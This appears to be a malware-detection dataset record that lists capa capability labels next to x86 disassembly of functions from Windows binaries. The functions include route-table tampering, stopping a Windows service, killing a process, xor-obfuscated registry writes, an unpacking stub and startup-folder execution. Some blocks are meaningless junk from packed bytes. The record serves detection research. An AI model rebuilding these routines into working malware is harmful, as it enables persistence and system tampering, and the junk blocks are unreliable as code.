joyce8/EMBER2024-capa huggingface dataset:
Function at 0x554863
Capabilities:
Authenticate hmac

Disassembly:
mov byte [0xbf598f41], al
adc ecx, dword [ecx + 0x4b6ca999]
faddp st(1)
not byte [edi + 0x1b]
je 0x5547fd
xor bl, ah
stosd dword es:[edi], eax
wait
push es
movsd dword es:[edi], dword [esi]
mov eax, dword [0xdd6eb770]
pop eax
xchg dword [edx], esp
lodsd eax, dword [esi]
mov ebx, 0x3ec5562
mov dl, 0xa9
cmp al, 0x5c
out 0x9f, eax
and bl, byte [ebp - 0x10]
adc eax, 0x2961808e
adc esi, dword [edx + 0x2e]
jecxz 0x554836
leave
dec ebp
sal dword [ebp + 0x10912c80], 1
mov dword [0xb3db53f3], eax
ficom word [ebx + 0x12]
jns 0x5547eb
inc esi
mov edi, dword [ebx - 0xeb107b6]
inc esi
jbe 0x55486b
and al, 0xc2
jp 0x554844
ret 0xfd7a
jle 0x554861
mov bh, 0xd4
mov esp, 0x653ba034
out dx, eax
mov byte [0x8bcb246d], al
sbb ah, dh
add byte [eax], al
push edi
push ebx
inc ecx
dec ecx
outsd dx, dword [esi]
arpl word [esp + ebp*2], si
insb byte es:[edi], dx
add byte [esi - 0x18], al
inc esi
call fcn.00555709
in eax, 0x9a
inc esi
call fcn.00555709
in eax, 0x9a
lcall 0xc3c, 0x9e6af8ef
out dx, eax
clc
push 0xffffffffffffff9e
cmp al, 0xc
mov dword [0xef5c0764], eax
mov edi, 0x8689c23a
xor eax, 0xbe1f9ff4
xchg byte [ebp + 0x52], al
in eax, 0x67
add dl, byte [edi - 0x22]
loopne 0x554826
test al, 0x27
cmp dword [edx + 0x4b], esp
jle 0x5548ea
js 0x5548ab
xlatb
stc
cli
mov bh, 0x36
adc byte [edi + 0x53166f5f], cl
test dword [eax - 0x30fb20a2], edi
invalid
iretd
push 0x15420f0f
adc byte [edi + 0x3c3a0a3d], cl
add edi, esp
int3

Function at 0x554a2a
Capabilities:
Encode data using xor

Disassembly:
mov word [esp], 0x946b
lea esp, [esp + 4]
jb 0x54dc53
pushal
cmc
push esi
cmp byte [edi - 1], 0
jmp 0x5ba12d
stosb byte es:[edi], al
pushfd
lea esp, [esp + 8]
jmp 0x523f58
push ebp
hlt
cmp al, 0x7d
jmp 0x5b91b6
pushal
call fcn.005ba36a
sbb dword [eax + 0x6411f88d], ecx
sahf
sahf
scasb al, byte es:[edi]
dec ecx
mov gs, word [0xadeea9ee]
lodsd eax, dword [esi]
xchg edi, eax
and dl, byte [edi - 0x12]
sbb ebp, dword [edx + 0x7de2aaf7]
xchg esi, eax
dec ebp
jp 0x5ba142
cmc
js 0x5ba121
js 0x5ba11b
add byte [ebp + 0x76dbe047], bl
cmpsd dword [esi], dword es:[edi]
xchg edi, eax
sbb dl, dl
insd dword es:[edi], dx
adc dword [edx + edx*2 + 0x106b34f1], ebp
pop ebp
rcl byte [ecx - 8]
cmpsb byte [esi], byte es:[edi]
inc ebp
mov dl, 0x3e
xchg edi, eax
add dword [eax + esi], esi
add byte [ebx + 0x2af3918], dh
mov word [edx - 0x6d], es
inc edx
xchg ebx, eax
mov ch, 0x7e
pop eax
mov ebp, 0xde2bec59
cmp esp, ecx
xchg bl, cl
pop esi
inc ecx
xchg edi, eax
mov esi, 0x3d5bb511
in al, 0x52
cmc
push edx
push esi
sbb dword [eax - 0x48], ecx
xor eax, dword [ecx + 0x723f2363]
mov dword [ebp + ebp - 0x5d], esi
push 0x68
jae 0x5ba17b
pop ebp
hlt
Function at 0x5bbb36
Capabilities:
Get number of processors

Disassembly:
call 0x54f1df
push ebx
repne lodsd eax, dword [esi]
fcom st(5)
push 0xffffffffffffff9e
mov esi, 0x47904bd8
sbb ecx, dword fs:[eax - 0x19]
adc al, 0xbb
enter 0xffffffffffffec5f, 0xffffffffffffff97
cld
mov cl, 0x64
pop ecx
enter 0x2768, 0x14
lahf
xor byte [0x148447b0], 0xa6
add al, 0x30
in eax, 0xd5
pop eax
nop
xor edx, dword [edx - 0xb]
adc byte [ebx - 0x6c5ccf41], ch
and eax, 0xf3c607c8
pushal
shl dword [eax + 0x75c2f22e], 1
xchg esp, eax
test byte [0x3fc66c82], bl
scasb al, byte es:[edi]
jne 0x5565d5
jecxz 0x5565c8
cld
lodsd eax, dword [esi]
invalid
lds ecx, [eax]
sub esi, esp
lodsd eax, dword [esi]
pop ecx
int3
pushfd
lea esp, [esp + 0xc]
call fcn.0052bdbc
pushal
jmp 0x556574
Function at 0x10001000
Capabilities:
Get routing table

Disassembly:
sub esp, 0x190
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18c], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ebx, ebx
push 0x3c
push ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov ebp, eax
test ebp, ebp
je 0x100011a0
push ebx
lea eax, [esp + 0x14]
push eax
push ebp
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x10001071
push ebp
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
call edi
push eax
call esi
mov ebp, eax
test ebp, ebp
je 0x100011a0
push 0
lea edx, [esp + 0x14]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
jne 0x10001194
cmp dword [ebp], ebx
mov dword [esp + 0x18], ebx
jle 0x10001194
mov edi, dword [sym.imp.MSVCR90.dll_strcpy_s]
mov ebx, dword [sym.imp.WS2_32.dll_inet_ntoa]
lea esi, [ebp + 8]
mov eax, dword [esi - 4]
push eax
call ebx
push eax
lea eax, [esp + 0xa0]
push 0x80
push eax
call edi
mov eax, dword [esi]
add esp, 0xc
push eax
call ebx
push eax
lea ecx, [esp + 0x20]
push 0x80
push ecx
call edi
mov eax, dword [esi + 8]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x120]
push 0x80
push edx
call edi
add esp, 0xc
mov ecx, str.0.0.0.0
lea eax, [esp + 0x9c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001115
test dl, dl
je 0x10001111
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001115
add eax, 2
add ecx, 2
test dl, dl
jne 0x100010f5
xor eax, eax
jmp 0x1000111a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10001150
mov ecx, str.0.0.0.0
lea eax, [esp + 0x1c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001147
test dl, dl
je 0x10001143
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001147
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001127
xor eax, eax
jmp 0x1000114c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001167
mov eax, dword [esp + 0x18]
inc eax
add esi, 0x38
cmp eax, dword [ebp]
mov dword [esp + 0x18], eax
jl 0x100010a2
jmp 0x1000118a
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0x11c]
mov byte [eax + 0x10005648], cl
inc eax
test cl, cl
jne 0x10001170
mov dword [esp + 0x14], 1
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, dword [esp + 0x14]
push ebp
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x19c]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.10003626
add esp, 0x190
ret
Function at 0x100011c0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x198], eax
mov eax, dword [ebp + 0xc]
sub eax, 0
push esi
je 0x10001270
sub eax, 1
jne 0x10001290
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10001290
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x10005608], eax
test eax, eax
je 0x10001290
call section..text
test eax, eax
jne 0x10001240
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0xc8
call esi
call section..text
test eax, eax
je 0x10001230
push 0x104
push 0
push 0x10005668
call sub.MSVCR90.dll_memset
push 0x10005648
push str._c_route_add_0.0.0.0_mask_0.0.0.0__s
push 0x10005668
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
call fcn.10001ea0
jmp 0x10001290
mov ecx, dword [0x10005608]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100055fc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x19c]
pop esi
xor ecx, esp
mov eax, 1
call fcn.10003626
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100012b0
Capabilities:
Stop service

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.Themes
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_ControlService]
mov esi, eax
lea eax, [esp + 0x14]
push eax
push 1
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x1d
lea ecx, [esp + 0x14]
push ecx
push 4
push esi
call ebx
test eax, eax
jne 0x10001313
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
je 0x10001328
cmp dword [esp + 0x18], 1
je 0x10001330
push 0x3e8
call ebp
sub edi, 1
jne 0x100012f8
jmp 0x10001330
mov dword [esp + 0x18], 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x10001350
Capabilities:
Terminate process

Disassembly:
push ecx
mov eax, dword [0x100057f8]
push esi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000138b
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x10001384
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret
Function at 0x10001390
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push esi
xor ebx, ebx
push ebx
push 0xf
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
call sub.KERNEL32.dll_Process32First
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100013d0
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x100013f8
mov al, byte [esp + ecx + 0x2c]
cmp al, 0x41
jl 0x100013f3
cmp al, 0x5f
jg 0x100013f3
add al, 0x20
mov byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, edx
jl 0x100013e1
mov ecx, edi
lea eax, [esp + 0x2c]
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001420
test dl, dl
je 0x1000141c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001420
add eax, 2
add ecx, 2
test dl, dl
jne 0x10001400
xor eax, eax
jmp 0x10001425
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000143a
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100013c5
jmp 0x10001449
mov edx, dword [esp + 0x10]
mov dword [0x100057f8], edx
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
mov dword [0x100057fc], 0
call fcn.10003626
add esp, 0x134
ret
Function at 0x10001ea0
Capabilities:
Create thread

Disassembly:
sub esp, 0xc
push esi
push edi
push 0
call dword [sym.imp.MSVCR90.dll__time64]
push eax
call dword [sym.imp.MSVCR90.dll_srand]
mov edi, dword [sym.imp.MSVCR90.dll_rand]
add esp, 8
mov esi, 4
call edi
sub esi, 1
jne 0x10001ec2
call edi
mov esi, eax
imul esi, esi, 0x1d
call edi
add eax, esi
cdq
mov ecx, 0xf4240
idiv ecx
mov esi, edx
cmp esi, ecx
jl 0x10001ee4
sub esi, ecx
cmp esi, 0x186a0
jge 0x10001ef5
call edi
lea esi, [esi + eax + 0x186a0]
mov edx, dword [0x10005608]
push 0xffffffffffffffff
push edx
mov dword [0x10005604], esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, str.224269_6:_8__C
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001f12
sub eax, edx
mov ecx, eax
xor eax, eax
test ecx, ecx
jle 0x10001f3f
mov edx, eax
and edx, 0x80000001
jns 0x10001f32
dec edx
or edx, 0xfffffffe
inc edx
add dl, al
sub byte [eax + str.224269_6:_8__C], dl
inc eax
cmp eax, ecx
jl 0x10001f23
mov eax, dword [0x10005608]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.10002150
push 0x100055fc
push 0xf003f
push 0
push 0x1000560c
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call fcn.10002790
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0x10002a20
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10001f98
push eax
call edi
lea edx, [esp + 0xc]
push edx
push 0
push 0
push 0x10001760
push 0
push 0
call esi
test eax, eax
je 0x10001fb3
push eax
call edi
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x10002c60
push 0
push 0
call esi
test eax, eax
je 0x10001fce
push eax
call edi
pop edi
pop esi
add esp, 0xc
ret
Function at 0x10001fe0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xac
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xa8], eax
push esi
push edi
mov ecx, 6
mov esi, str.QMDRU_PCZPcegqrcp_nnLr10
lea edi, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov byte [esp + 0x46], al
lea eax, [esp + 0x14]
pop edi
lea edx, [eax + 1]
pop esi
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002030
sub eax, edx
xor ecx, ecx
test eax, eax
jle 0x1000204a
nop
add byte [esp + ecx + 0xc], 2
inc ecx
cmp ecx, eax
jl 0x10002040
mov eax, dword [str.Pr_Kbq]
mov ecx, dword [0x10004284]
mov edx, dword [0x10004288]
push 0x57
mov dword [esp + 0x48], ecx
mov dword [esp + 0x44], eax
mov ax, word [0x1000428c]
lea ecx, [esp + 0x52]
push 0
push ecx
mov dword [esp + 0x54], edx
mov word [esp + 0x58], ax
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x4c]
add esp, 0xc
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002090
sub eax, edx
mov ecx, eax
xor eax, eax
test ecx, ecx
jle 0x100020ab
add byte [esp + eax + 0x40], 3
inc eax
cmp eax, ecx
jl 0x100020a1
lea edx, [esp + 4]
push edx
push 0xf003f
push 0
lea eax, [esp + 0x18]
push eax
push closesocket
mov dword [0x10005800], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000211d
lea ecx, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0x50]
push eax
push ecx
mov dword [esp + 0x20], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp]
cmp eax, 0xf4240
jbe 0x10002113
add eax, 0xbc614e
mov dword [0x10005800], eax
jmp 0x1000211d
mov dword [0x10005800], 0
mov eax, dword [esp + 4]
test eax, eax
je 0x1000212c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xa8]
xor ecx, esp
mov eax, 1
call fcn.10003626
add esp, 0xac
ret
Function at 0x100025d0
Capabilities:
Set registry value

Disassembly:
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100025d5
sub eax, edx
mov edx, eax
test edx, edx
jle 0x1000264b
push esi
mov esi, 0x100057b0
mov eax, edi
sub esi, edi
mov edi, edi
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100025f0
xor eax, eax
test edx, edx
jle 0x1000261c
mov ecx, eax
and ecx, 0x80000001
jns 0x1000260f
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x100057b0], cl
inc eax
cmp eax, edx
jl 0x10002600
inc edx
push edx
mov edx, dword [0x100055fc]
push 0x100057b0
push 1
push 0
push 0x1000503c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, edi
jmp 0x10002640
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10002640
pop esi
ret

Function at 0x10002650
Capabilities:
Set registry value

Disassembly:
mov eax, 0x10004258
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002658
sub eax, edx
mov edx, eax
test edx, edx
jle 0x100026e1
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10004258]
mov byte [eax + 0x100057c0], cl
inc eax
test cl, cl
jne 0x10002670
xor eax, eax
test edx, edx
jle 0x100026ac
jmp 0x10002690
mov ecx, eax
and ecx, 0x80000001
jns 0x1000269f
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x100057c0], cl
inc eax
cmp eax, edx
jl 0x10002690
inc edx
push edx
mov edx, dword [0x100055fc]
push 0x100057c0
push 1
push 0
push 0x10005054
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
jmp 0x100026d0
mov cl, byte [eax + 0x10004258]
mov byte [eax + 0x100057c0], cl
inc eax
test cl, cl
jne 0x100026d0
ret

Function at 0x100026f0
Capabilities:
Set registry value

Disassembly:
mov eax, 0x10004258
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100026f8
sub eax, edx
mov edx, eax
test edx, edx
jle 0x10002781
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10004258]
mov byte [eax + 0x100057d0], cl
inc eax
test cl, cl
jne 0x10002710
xor eax, eax
test edx, edx
jle 0x1000274c
jmp 0x10002730
mov ecx, eax
and ecx, 0x80000001
jns 0x1000273f
dec ecx
or ecx, 0xfffffffe
inc ecx
add cl, al
add byte [eax + 0x100057d0], cl
inc eax
cmp eax, edx
jl 0x10002730
inc edx
push edx
mov edx, dword [0x100055fc]
push 0x100057d0
push 1
push 0
push 0x1000506c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor eax, eax
jmp 0x10002770
mov cl, byte [eax + 0x10004258]
mov byte [eax + 0x100057d0], cl
inc eax
test cl, cl
jne 0x10002770
ret
Function at 0x10003520
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x30
mov eax, dword [0x10005608]
push ebx
push ebp
push edi
push 0xffffffffffffffff
push eax
mov ebp, 1
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
mov edi, eax
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
lea ecx, [esp + 0x18]
push ecx
push 1
lea edx, [esp + 0x28]
push edx
push esi
call ebx
cmp eax, 0xffffffff
jne 0x1000359f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x100035ee
push 0
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x28]
push eax
push 1
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0xffffffff
je 0x100035ee
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_WSAResetEvent]
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x30]
push ecx
push esi
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x100035ee
mov eax, dword [esp + 0xc]
sub dword [esp + 0x14], eax
je 0x100035f0
add dword [esp + 0x18], eax
jmp 0x10003575
xor ebp, ebp
push edi
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov edx, dword [0x10005608]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x30
ret

Function at 0x10003626
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10003630
repz ret
jmp fcn.100039e3
Function at 0x402e51
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor ecx, ecx
push 8
mov eax, ecx
pop edx
test al, 1
je 0x402e65
shr eax, 1
xor eax, 0xedb88320
jmp 0x402e67
shr eax, 1
dec edx
jne 0x402e58
mov dword [ecx*4 + 0x4161c0], eax
mov dword [ecx*4 + 0x4181c0], eax
inc ecx
cmp ecx, 0x100
jb 0x402e53
push ebx
push esi
push edi
mov ecx, 0x4165c0
mov edi, 0x101
mov eax, dword [ecx - 0x400]
push 7
mov edx, ecx
pop esi
movzx ebx, al
shr eax, 8
xor eax, dword [ebx*4 + 0x4161c0]
mov dword [edx], eax
add edx, 0x400
dec esi
jne 0x402e99
add ecx, 4
dec edi
jne 0x402e8e
pop edi
pop esi
pop ebx
ret

Function at 0x402ebb
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4181c4], 0
jne 0x402ec9
call fcn.00402e51
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jbe 0x402ef6
test cl, 7
je 0x402ef6
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4161c0]
dec esi
inc ecx
jmp 0x402ed7
cmp esi, 8
jb 0x402f89
mov edi, esi
shr edi, 3
push ebx
xor eax, dword [ecx]
sub esi, 8
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
mov edx, eax
shr edx, 0x18
mov edx, dword [edx*4 + 0x4171c0]
xor edx, dword [ebx*4 + 0x4175c0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edx, dword [ebx*4 + 0x4179c0]
movzx ebx, byte [ecx + 6]
xor edx, dword [ebx*4 + 0x4165c0]
movzx ebx, byte [ecx + 5]
xor edx, dword [ebx*4 + 0x4169c0]
movzx ebx, byte [ecx + 4]
xor edx, dword [ebx*4 + 0x416dc0]
movzx ebx, byte [ecx + 7]
xor edx, dword [ebx*4 + 0x4161c0]
movzx eax, al
xor edx, dword [eax*4 + 0x417dc0]
add ecx, 8
dec edi
mov eax, edx
jne 0x402f05
pop ebx
jmp 0x402f89
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4161c0]
dec esi
inc ecx
test esi, esi
ja 0x402f75
pop edi
pop esi
ret 0xc
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219

Function at 0x438cae
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x438a14
or ecx, edx
sub esp, 4
mov dword [esp], ecx
mov edx, dword [esp]
add esp, 4
and edx, ecx
call fcn.00438d00
add ecx, 0x4a1bda64
inc ecx
sub ecx, 0xd64cb733
xor dword [eax], ebx
and ecx, ecx
inc edx
sub edx, 0xbb0337f
inc eax
sub ecx, ecx
add ecx, 0x19585229
and ecx, edx
cmp eax, esi
jne fcn.00438cae
add ecx, 0xf8f452d7
ret
Function at 0x401400
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x10], 0x441030
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
lea eax, [edx + eax]
sar eax, 1
add eax, eax
sub edx, eax
mov eax, edx
add eax, 5
mov dword [esp], eax
call sym.Q_b.uHZ____Q_U_9zQ._VEQs_yxkdU_QH_kH_mWId_XQ_7
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x43d000
mov dword [esp], 0x441030
call sub.msvcrt.dll_strcat
leave
ret

Function at 0x4015c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
leave
ret